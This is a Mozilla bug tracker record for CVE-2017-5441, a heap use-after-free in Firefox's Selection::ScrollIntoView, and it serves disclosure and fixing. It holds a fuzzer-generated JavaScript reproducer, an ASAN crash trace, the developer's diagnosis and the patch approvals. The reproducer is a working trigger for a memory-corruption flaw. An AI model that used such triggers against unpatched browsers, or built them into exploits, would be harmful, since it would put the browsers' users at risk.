Bug 1343795 (CVE-2017-5441)

heap-use-after-free in mozilla::dom::Selection::ScrollIntoView

RESOLVED FIXED in Firefox -esr45

Status

()

--
critical
RESOLVED FIXED
2 years ago
a year ago

People

(Reporter: nils, Assigned: mats)

Tracking

({crash, csectype-uaf, sec-high})

unspecified
mozilla55
crash, csectype-uaf, sec-high
Points:
---
Bug Flags:
sec-bounty +
in-testsuite ?
qe-verify -

Firefox Tracking Flags

(firefox-esr4553+ fixed, firefox52 wontfix, firefox-esr5253+ fixed, firefox53+ fixed, firefox54+ fixed, firefox55+ fixed)

Details

(Whiteboard: [adv-main53+][adv-esr52.1+][adv-esr45.9+])

Attachments

(1 attachment)

(Reporter)

Description

2 years ago
The following testcases crashes the latest ASAN build of Firefox. The testcase requires the fuzzPriv extension.

<script>
function start() {
        o0=document.createElementNS('http://www.w3.org/1999/xhtml','iframe');
        document.body.appendChild(o0);
        o1=document.createElementNS('http://www.w3.org/1999/xhtml','iframe');
        o1.addEventListener('load', fun0,false);
        document.body.appendChild(o1);
}
function fun0() {
        o6=o1.contentDocument;
        o72=document.createElementNS('http://www.w3.org/1999/xhtml','input');
        o0.remove();
        o82=document.createElementNS('http://www.w3.org/1999/xhtml','form');
        o6.documentElement.appendChild(o82);
        o82.appendChild(o72);
        o72.select();
        o1.contentWindow.onresize=fun1;
        o1.width='8px';
}
function fun1() {
        o72.replaceWith("");
        window.fuzzPriv.CC();
        window.fuzzPriv.CC();
        window.setTimeout("location.reload()",4);
}
</script>
<body onload="start()"></body>

=================================================================
==18823==ERROR: AddressSanitizer: heap-use-after-free on address 0x60d0000ace50 at pc 0x7fafead00404 bp 0x7ffe4bdc52d0 sp 0x7ffe4bdc52c8
READ of size 8 at 0x60d0000ace50 thread T0 (Web Content)
    #0 0x7fafead00403 in operator bool /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:307:45
    #1 0x7fafead00403 in mozilla::dom::Selection::ScrollIntoView(short, nsIPresShell::ScrollAxis, nsIPresShell::ScrollAxis, int) /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:6163
    #2 0x7fafead2b339 in mozilla::dom::Selection::ScrollSelectionIntoViewEvent::Run() /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:6072:3
    #3 0x7fafe3f70812 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1264:7
    #4 0x7fafe3f6d0c0 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:389:10
    #5 0x7fafe4d8babf in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21
    #6 0x7fafe4cfce58 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3
    #7 0x7fafe4cfce58 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231
    #8 0x7fafe4cfce58 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211
    #9 0x7fafea158cff in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3
    #10 0x7fafed9b13a7 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:852:12
    #11 0x7fafe4cfce58 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3
    #12 0x7fafe4cfce58 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231
    #13 0x7fafe4cfce58 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211
    #14 0x7fafed9b0e8c in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:684:7
    #15 0x4e01b6 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:19
    #16 0x4e01b6 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:287
    #17 0x7fafff38d82f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291
    #18 0x41c3d8 in _start (/home/nils/fuzzer3/firefox/firefox+0x41c3d8)

0x60d0000ace50 is located 80 bytes inside of 136-byte region [0x60d0000ace00,0x60d0000ace88)
freed by thread T0 (Web Content) here:
    #0 0x4b2b2b in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
    #1 0x7fafe3e0d904 in SnowWhiteKiller::~SnowWhiteKiller() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2664:9
    #2 0x7fafe3e0d4f6 in nsCycleCollector::FreeSnowWhite(bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2839:3
    #3 0x7fafe3e147d6 in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3825:3
    #4 0x7fafe3e13fb0 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3650:9
    #5 0x7fafe3e16d4c in nsCycleCollector_collect(nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4143:3
    #6 0x7fafe6a8a76f in nsJSContext::CycleCollectNow(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1451:3
    #7 0x7fafe65e15fd in nsDOMWindowUtils::CycleCollect(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsDOMWindowUtils.cpp:1339:3
    #8 0x7fafe3f8bd31 in NS_InvokeByIndex /home/worker/workspace/build/src/xpcom/reflect/xptcall/md/unix/xptcinvoke_asm_x86_64_unix.S:115
    #9 0x7fafe5764c47 in Invoke /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:2010:12
    #10 0x7fafe5764c47 in Call /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1329
    #11 0x7fafe5764c47 in XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappedNative::CallMode) /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1296
    #12 0x7fafe576c5bb in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:983:12
    #13 0x7fafede2343f in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15
    #14 0x7fafede2343f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448
    #15 0x7fafede09d60 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:499:12
    #16 0x7fafede09d60 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2955
    #17 0x7fafeddef08b in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:394:12
    #18 0x7fafede23756 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:466:15
    #19 0x7fafede23e32 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10
    #20 0x7fafee7f33b3 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2819:12
    #21 0x7fafe56a39d9 in xpc::FunctionForwarder(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/ExportHelpers.cpp:319:18
    #22 0x7fafede2343f in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15
    #23 0x7fafede2343f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448
    #24 0x7fafede09d60 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:499:12
    #25 0x7fafede09d60 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2955
    #26 0x7fafeddef08b in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:394:12
    #27 0x7fafede23756 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:466:15
    #28 0x7fafede23e32 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10
    #29 0x7fafeea96dfc in js::Wrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:165:12
    #30 0x7fafeea4d04e in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:353:14
    #31 0x7fafeea768b9 in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:464:12
    #32 0x7fafeea791e4 in js::proxy_Call(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:716:12
    #33 0x7fafede234e7 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15
    #34 0x7fafede234e7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:436
    #35 0x7fafede23e32 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10
    #36 0x7fafee7f516c in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2878:12

previously allocated by thread T0 (Web Content) here:
    #0 0x4b2e4b in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
    #1 0x4e11bd in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
    #2 0x7fafeacf91c9 in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
    #3 0x7fafeacf91c9 in nsFrameSelection::nsFrameSelection() /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:537
    #4 0x7fafe8be288b in nsTextEditorState::BindToFrame(nsTextControlFrame*) /home/worker/workspace/build/src/dom/html/nsTextEditorState.cpp:1170:43
    #5 0x7fafeae1b6e4 in nsTextControlFrame::CreateAnonymousContent(nsTArray<nsIAnonymousContentCreator::ContentInfo>&) /home/worker/workspace/build/src/layout/forms/nsTextControlFrame.cpp:332:17
    #6 0x7fafea978277 in nsCSSFrameConstructor::GetAnonymousContent(nsIContent*, nsIFrame*, nsTArray<nsIAnonymousContentCreator::ContentInfo>&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4207:17
    #7 0x7fafea96c3ed in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10909:3
    #8 0x7fafea98130e in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4062:9
    #9 0x7fafea98c286 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6209:3
    #10 0x7fafea96d1b4 in ConstructFramesFromItemList /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10705:5
    #11 0x7fafea96d1b4 in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10994
    #12 0x7fafea975c73 in nsCSSFrameConstructor::ConstructBlock(nsFrameConstructorState&, nsIContent*, nsContainerFrame*, nsContainerFrame*, nsStyleContext*, nsContainerFrame**, nsFrameItems&, nsIFrame*, PendingBinding*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:12004:3
    #13 0x7fafea984cf5 in ConstructNonScrollableBlockWithConstructor /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4950:3
    #14 0x7fafea984cf5 in nsCSSFrameConstructor::ConstructNonScrollableBlock(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItem&, nsContainerFrame*, nsStyleDisplay const*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4914
    #15 0x7fafea980229 in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:3881:7
    #16 0x7fafea98c286 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6209:3
    #17 0x7fafea99a67b in ConstructFramesFromItemList /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10705:5
    #18 0x7fafea99a67b in nsCSSFrameConstructor::ContentAppended(nsIContent*, nsIContent*, bool) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:7564
    #19 0x7fafea994f48 in nsCSSFrameConstructor::CreateNeededFrames(nsIContent*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:7183:5
    #20 0x7fafea8a9042 in mozilla::GeckoRestyleManager::ProcessPendingRestyles() /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:464:3
    #21 0x7fafea8f4970 in ProcessPendingRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManagerInlines.h:44:3
    #22 0x7fafea8f4970 in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/PresShell.cpp:4137
    #23 0x7fafe699deae in FlushPendingNotifications /home/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:598:5
    #24 0x7fafe699deae in nsDocument::FlushPendingNotifications(mozilla::FlushType) /home/worker/workspace/build/src/dom/base/nsDocument.cpp:7984
    #25 0x7fafe69e64be in nsFocusManager::CheckIfFocusable(nsIContent*, unsigned int) /home/worker/workspace/build/src/dom/base/nsFocusManager.cpp:1550:3
    #26 0x7fafe69e2b5c in nsFocusManager::SetFocusInner(nsIContent*, int, bool, bool) /home/worker/workspace/build/src/dom/base/nsFocusManager.cpp:1180:41
    #27 0x7fafe69e5efe in nsFocusManager::SetFocus(nsIDOMElement*, unsigned int) /home/worker/workspace/build/src/dom/base/nsFocusManager.cpp:484:3
    #28 0x7fafe8a33008 in mozilla::dom::HTMLInputElement::Select() /home/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:3721:7
    #29 0x7fafe811cd60 in mozilla::dom::HTMLInputElementBinding::select(JSContext*, JS::Handle<JSObject*>, mozilla::dom::HTMLInputElement*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLInputElementBinding.cpp:2856:3
    #30 0x7fafe8325787 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2953:13
    #31 0x7fafede2343f in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15
    #32 0x7fafede2343f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448
    #33 0x7fafede23e32 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10
    #34 0x7fafeea96dfc in js::Wrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:165:12
    #35 0x7fafeea4d04e in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:353:14
    #36 0x7fafeea768b9 in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:464:12

SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:307:45 in operator bool
Shadow bytes around the buggy address:
  0x0c1a8000d970: fa fa fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c1a8000d980: fd fd fd fa fa fa fa fa fa fa fa fa fd fd fd fd
  0x0c1a8000d990: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
  0x0c1a8000d9a0: fa fa fa fa fa fa fd fd fd fd fd fd fd fd fd fd
  0x0c1a8000d9b0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa
=>0x0c1a8000d9c0: fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd
  0x0c1a8000d9d0: fd fa fa fa fa fa fa fa fa fa fd fd fd fd fd fd
  0x0c1a8000d9e0: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa
  0x0c1a8000d9f0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1a8000da00: 00 00 00 00 00 fa fa fa fa fa fa fa fa fa 00 00
  0x0c1a8000da10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==18823==ABORTING
Flags: sec-bounty?
Keywords: csectype-uaf, sec-high
(Assignee)

Comment 1

2 years ago
The caller passed SCROLL_DO_FLUSH without holding a strong ref on 'this'
and the flush deleted it so we crash trying to use this->mFrameSelection:
http://searchfox.org/mozilla-central/rev/e844f7b79d6c14f45478dc9ea1d7f7f82f94fba6/layout/generic/nsSelection.cpp#6160,6163
Assignee: nobody → mats
Severity: normal → critical
Keywords: crash
OS: Unspecified → All
Hardware: Unspecified → All
Comment on attachment 8844142 [details] [diff] [review]
Hold a strong ref on the Selection while calling ScrollIntoView with SCROLL_DO_FLUSH.

I might have used 'selection' in the ::Run as the variable name and
call selection->ScrollIntoView. But up to you
Attachment #8844142 - Flags: review?(bugs) → review+
(Assignee)

Comment 4

2 years ago
Comment on attachment 8844142 [details] [diff] [review]
Hold a strong ref on the Selection while calling ScrollIntoView with SCROLL_DO_FLUSH.

[Security approval request comment]
How easily could an exploit be constructed based on the patch?

I suspect it's exploitable with moderate effort.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

It probably does to someone with a bit of prior knowledge about the general problem.
(which is not hard to acquire if you look at our public security bug history)

Which older supported branches are affected by this flaw?

All.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

Should be trivial to backport.

How likely is this patch to cause regressions; how much testing does it need?

Zero risk.  No testing needed.
Attachment #8844142 - Flags: sec-approval?
sec-approval+ for checkin on March 21, two weeks into the next cycle. We'll want branch patches made and nominated for this as well.
status-firefox52: --- → wontfix
status-firefox53: --- → affected
status-firefox54: --- → affected
status-firefox55: --- → affected
status-firefox-esr45: --- → affected
status-firefox-esr52: --- → affected
tracking-firefox53: --- → +
tracking-firefox54: --- → +
tracking-firefox55: --- → +
tracking-firefox-esr45: --- → 53+
tracking-firefox-esr52: --- → 53+
Whiteboard: [checkin on 3/21]
Attachment #8844142 - Flags: sec-approval? → sec-approval+
Group: core-security → dom-core-security
(Assignee)

Updated

2 years ago
Blocks: 1348222
(Assignee)

Updated

2 years ago
Blocks: 1348115
(Assignee)

Updated

2 years ago
No longer blocks: 1348222
(Assignee)

Updated

2 years ago
No longer blocks: 1348115
https://hg.mozilla.org/integration/mozilla-inbound/rev/b4e95d147909

Please request Aurora/Beta/ESR52/ESR45 approval on this as soon as possible.
Flags: needinfo?(mats)
Flags: in-testsuite?
Whiteboard: [checkin on 3/21]
(Assignee)

Comment 8

2 years ago
> error: Unused "kungFuDeathGrip" 'RefPtr<mozilla::dom::Selection>' objects constructed from members are prohibited 

I don't understand why that is a valid static check.
Anyway, I'll work around it somehow...
(Assignee)

Comment 10

2 years ago
Comment on attachment 8844142 [details] [diff] [review]
Hold a strong ref on the Selection while calling ScrollIntoView with SCROLL_DO_FLUSH.

Approval Request Comment
[Feature/Bug causing the regression]:
[User impact if declined]: UAF crash
[Is this code covered by automated tests?]:yes
[Has the fix been verified in Nightly?]:no
[Needs manual test from QE? If yes, steps to reproduce]: no
[List of other uplifts needed for the feature/fix]:
[Is the change risky?]:no
[Why is the change risky/not risky?]:just adds a couple of strong refs to keep objects alive
[String changes made/needed]:none
Flags: needinfo?(mats)
Attachment #8844142 - Flags: approval-mozilla-esr52?
Attachment #8844142 - Flags: approval-mozilla-esr45?
Attachment #8844142 - Flags: approval-mozilla-beta?
Attachment #8844142 - Flags: approval-mozilla-aurora?
https://hg.mozilla.org/mozilla-central/rev/2a4973034d8e
Status: NEW → RESOLVED
Last Resolved: 2 years ago
status-firefox55: affected → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla55
Comment on attachment 8844142 [details] [diff] [review]
Hold a strong ref on the Selection while calling ScrollIntoView with SCROLL_DO_FLUSH.

Fix a sec-high. Aurora54+ & Beta53+.
Attachment #8844142 - Flags: approval-mozilla-beta?
Attachment #8844142 - Flags: approval-mozilla-beta+
Attachment #8844142 - Flags: approval-mozilla-aurora?
Attachment #8844142 - Flags: approval-mozilla-aurora+
Comment on attachment 8844142 [details] [diff] [review]
Hold a strong ref on the Selection while calling ScrollIntoView with SCROLL_DO_FLUSH.

sec-high uaf fix for esr45/esr52
Attachment #8844142 - Flags: approval-mozilla-esr52?
Attachment #8844142 - Flags: approval-mozilla-esr52+
Attachment #8844142 - Flags: approval-mozilla-esr45?
Attachment #8844142 - Flags: approval-mozilla-esr45+
Flags: sec-bounty? → sec-bounty+
Group: dom-core-security → core-security-release
Whiteboard: [adv-main53+][adv-esr52.1+][adv-esr45.9+]
Alias: CVE-2017-5441
Setting qe-verify- based on Mats' assessment on manual testing needs and the fact that this fix has automated coverage (see Comment 10).
Flags: qe-verify-
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.